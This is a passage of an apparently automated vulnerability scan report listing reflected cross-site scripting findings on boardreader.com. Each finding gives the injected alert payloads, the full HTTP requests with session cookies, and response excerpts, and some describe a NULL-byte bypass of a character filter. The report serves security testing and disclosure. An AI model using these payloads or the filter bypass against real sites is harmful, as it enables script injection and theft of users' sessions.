HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:58:55 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:59:00 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=myegy.com&c1683'-alert(1)-'aae0d7e564f=1&p=30&d=1288940340&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.89. http://boardreader.com/domain/myegy.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/myegy.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7f3c"><script>alert(1)</script>bb270b2c8f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/myegy.com?a7f3c"><script>alert(1)</script>bb270b2c8f8=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:58:29 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:58:37 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/myegy.com?a7f3c"><script>alert(1)</script>bb270b2c8f8=1"> ...[SNIP]...
4.90. http://boardreader.com/domain/nolanfans.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/nolanfans.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e7be"><script>alert(1)</script>8eb8f9da978 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/nolanfans.com?2e7be"><script>alert(1)</script>8eb8f9da978=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:53 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:09 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/nolanfans.com?2e7be"><script>alert(1)</script>8eb8f9da978=1"> ...[SNIP]...
4.91. http://boardreader.com/domain/nolanfans.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/nolanfans.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9419e'-alert(1)-'6dbeba69c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/nolanfans.com?9419e'-alert(1)-'6dbeba69c1=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:22 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:24 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=nolanfans.com&9419e'-alert(1)-'6dbeba69c1=1&p=30&d=1288940004&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.92. http://boardreader.com/domain/ratedesi.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/ratedesi.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffe4a"><script>alert(1)</script>5a4d6909fb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/ratedesi.com?ffe4a"><script>alert(1)</script>5a4d6909fb2=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:30 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:31 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/ratedesi.com?ffe4a"><script>alert(1)</script>5a4d6909fb2=1"> ...[SNIP]...
4.93. http://boardreader.com/domain/ratedesi.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/ratedesi.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8f15'-alert(1)-'e30e737b55a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/ratedesi.com?d8f15'-alert(1)-'e30e737b55a=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:54:06 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:54:08 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=ratedesi.com&d8f15'-alert(1)-'e30e737b55a=1&p=30&d=1288940048&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.94. http://boardreader.com/domain/sherdog.net [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/sherdog.net
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3fd25'-alert(1)-'46ee574fc5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/sherdog.net?3fd25'-alert(1)-'46ee574fc5=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:27 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:29 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=sherdog.net&3fd25'-alert(1)-'46ee574fc5=1&p=30&d=1288940009&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.95. http://boardreader.com/domain/sherdog.net [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/sherdog.net
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9c1b"><script>alert(1)</script>c6dc46feb64 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/sherdog.net?d9c1b"><script>alert(1)</script>c6dc46feb64=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:15 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:17 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/sherdog.net?d9c1b"><script>alert(1)</script>c6dc46feb64=1"> ...[SNIP]...
4.96. http://boardreader.com/domain/ufc.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/ufc.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2be3e'-alert(1)-'8c796450d60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/ufc.com?2be3e'-alert(1)-'8c796450d60=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:13 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:15 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=ufc.com&2be3e'-alert(1)-'8c796450d60=1&p=30&d=1288939995&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.97. http://boardreader.com/domain/ufc.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/ufc.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3b68"><script>alert(1)</script>31e4bcbef97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/ufc.com?f3b68"><script>alert(1)</script>31e4bcbef97=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:45 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:46 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/ufc.com?f3b68"><script>alert(1)</script>31e4bcbef97=1"> ...[SNIP]...
4.98. http://boardreader.com/domain/websitetoolbox.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/websitetoolbox.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f166'-alert(1)-'182d880e185 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/websitetoolbox.com?3f166'-alert(1)-'182d880e185=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:53:17 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:53:31 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=websitetoolbox.com&3f166'-alert(1)-'182d880e185=1&p=30&d=1288940011&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.99. http://boardreader.com/domain/websitetoolbox.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/websitetoolbox.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a2db"><script>alert(1)</script>3a4a3e5c070 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/websitetoolbox.com?9a2db"><script>alert(1)</script>3a4a3e5c070=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:32 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:34 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/websitetoolbox.com?9a2db"><script>alert(1)</script>3a4a3e5c070=1"> ...[SNIP]...
4.100. http://boardreader.com/domain/worldmastiffforum.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/worldmastiffforum.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bbef'-alert(1)-'5ee0da9ec64 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/worldmastiffforum.com?4bbef'-alert(1)-'5ee0da9ec64=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:45 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:50 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=worldmastiffforum.com&4bbef'-alert(1)-'5ee0da9ec64=1&p=30&d=1288939970&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.101. http://boardreader.com/domain/worldmastiffforum.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/worldmastiffforum.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c581"><script>alert(1)</script>99d3eb93754 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/worldmastiffforum.com?2c581"><script>alert(1)</script>99d3eb93754=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:21 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:30 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/worldmastiffforum.com?2c581"><script>alert(1)</script>99d3eb93754=1"> ...[SNIP]...
The value of the ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %004177f"><script>alert(1)</script>0da953a680a was submitted in the ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d parameter. This input was echoed as 4177f"><script>alert(1)</script>0da953a680a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1%004177f"><script>alert(1)</script>0da953a680a&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:27:18 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... <A onclick="" href="./index.php?o=10&a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1%004177f"><script>alert(1)</script>0da953a680a&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext"> ...[SNIP]...
The value of the extended_search request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 484f3"><script>alert(1)</script>8c7809fc22a was submitted in the extended_search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1484f3"><script>alert(1)</script>8c7809fc22a<ype=ext HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:28:57 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... lick="" href="./index.php?o=10&a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1484f3"><script>alert(1)</script>8c7809fc22a<ype=ext"> ...[SNIP]...
The value of the ltype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00b85f1"><script>alert(1)</script>8330a287d66 was submitted in the ltype parameter. This input was echoed as b85f1"><script>alert(1)</script>8330a287d66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
